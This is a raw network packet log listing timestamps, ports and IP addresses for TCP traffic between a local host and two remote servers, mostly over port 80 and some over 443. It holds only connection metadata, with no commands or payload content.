Nov 18, 2024 05:57:55.183806896 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.183826923 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.183844090 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.183864117 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.183864117 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.183864117 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.183881044 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.183898926 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.183902979 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.183917999 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.183938980 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.183943987 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.183993101 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.184015036 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.184032917 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.184051037 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.184078932 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.184091091 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.184129000 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.184148073 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.184166908 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.184221029 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.184238911 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.184282064 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.184299946 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.184324026 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.184406042 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.184457064 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.184473038 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.186770916 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.223741055 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.223762989 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.224167109 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.262396097 CET	443	60468	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.263082027 CET	60468	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.263112068 CET	443	60468	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.263669014 CET	60468	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.263674021 CET	443	60468	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.264977932 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.265010118 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.265033007 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.265073061 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.301541090 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.301563978 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.301584005 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.301604033 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.301712036 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.301728010 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.301747084 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.301748037 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.301767111 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.301790953 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.301805019 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.301821947 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.301841021 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.301871061 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.301888943 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.301896095 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.301896095 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.301913023 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.301980972 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.301989079 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.301999092 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.302018881 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.302022934 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.302037954 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.302059889 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.302077055 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.302093983 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.302093983 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.302117109 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.302201033 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.302227974 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.302246094 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.302264929 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.302284956 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.302289009 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.302289009 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.302303076 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.302323103 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.302360058 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.302388906 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.302388906 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.302416086 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.302434921 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.302453041 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.302500010 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.302555084 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.302573919 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.302592993 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.302613974 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.302632093 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.302650928 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.302670002 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.302670002 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.302670002 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.302725077 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.302752018 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.302768946 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.302788019 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.302809954 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.302831888 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.302865982 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.302881956 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.302886009 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.302905083 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.302925110 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.302973032 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.302990913 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.302990913 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.303011894 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.303026915 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.303055048 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.303116083 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.303134918 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.303154945 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.303174973 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.303193092 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.303210974 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.303211927 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.303234100 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.303248882 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.303251982 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.303271055 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.303287983 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.303339958 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.303339958 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.303457975 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.303544998 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.303572893 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.303591967 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.303611040 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.303630114 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.303648949 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.303666115 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.303666115 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.303668022 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.303715944 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.303735018 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.303747892 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.303766012 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.303783894 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.303785086 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.303803921 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.303833008 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.303850889 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.303870916 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.303891897 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.303916931 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.303916931 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.303916931 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.303916931 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.303935051 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.303961039 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.304009914 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.304038048 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.304056883 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.304074049 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.304075956 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.304148912 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.304162979 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.304178953 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.304198980 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.304200888 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.304239988 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.304850101 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.343508005 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.343527079 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.343555927 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.343571901 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.346606970 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.346606970 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.381087065 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.381108999 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.381128073 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.381148100 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.381453991 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.381453991 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.395625114 CET	443	60468	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.395704985 CET	443	60468	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.398737907 CET	60468	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.399133921 CET	60468	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.399157047 CET	443	60468	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.399171114 CET	60468	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.399178982 CET	443	60468	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.401546001 CET	60473	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.401638985 CET	443	60473	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.402679920 CET	60473	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.402808905 CET	60473	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.402832031 CET	443	60473	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.409358978 CET	443	60469	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.410909891 CET	60469	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.410943985 CET	443	60469	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.411329985 CET	60469	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.411338091 CET	443	60469	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.421231985 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.421252966 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.421272039 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.421366930 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.421382904 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.421405077 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.421447992 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.421467066 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.421487093 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.421489954 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.421489954 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.421509027 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.421525955 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.421544075 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.421562910 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.421606064 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.421617985 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.421627045 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.421655893 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.421684980 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.421704054 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.421721935 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.421722889 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.421722889 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.421798944 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.421825886 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.421844959 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.421865940 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.421865940 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.421874046 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.421892881 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.421921015 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.421940088 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.421958923 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.421962976 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.422027111 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.422138929 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.422154903 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.422173977 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.422192097 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.422208071 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.422216892 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.422246933 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.422252893 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.422266006 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.422283888 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.422303915 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.422322989 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.422326088 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.422326088 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.422347069 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.422394037 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.422413111 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.422430992 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.422451019 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.422451019 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.422482014 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.422517061 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.422549963 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.422568083 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.422586918 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.422605991 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.422626972 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.422653913 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.422653913 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.422688961 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.422704935 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.422724962 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.422729969 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.422804117 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.422823906 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.422842026 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.422861099 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.422863960 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.422915936 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.422955036 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.422983885 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.423013926 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.423027039 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.423032999 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.423052073 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.423070908 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.423089981 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.423101902 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.423101902 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.423108101 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.423135996 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.423155069 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.423238993 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.423238993 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.423283100 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.423388958 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.423405886 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.423424006 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.423443079 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.423460960 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.423480034 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.423497915 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.423505068 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.423505068 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.423517942 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.423536062 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.423536062 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.423536062 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.423556089 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.423640966 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.423645020 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.423659086 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.423677921 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.423696995 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.423717022 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.423717976 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.423717976 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.423746109 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.423763037 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.423764944 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.423764944 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.423782110 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.423799992 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.423820972 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.423837900 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.423857927 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.424015999 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.424015999 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.424016953 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.424021006 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.424038887 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.424057961 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.424103975 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.424103975 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.424123049 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.424139977 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.424165964 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.424595118 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.463465929 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.463485003 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.463504076 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.463531017 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.463567972 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.463589907 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.463615894 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.463634968 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.501070023 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.501090050 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.501115084 CET	80	60438	185.215.113.16	192.168.2.6
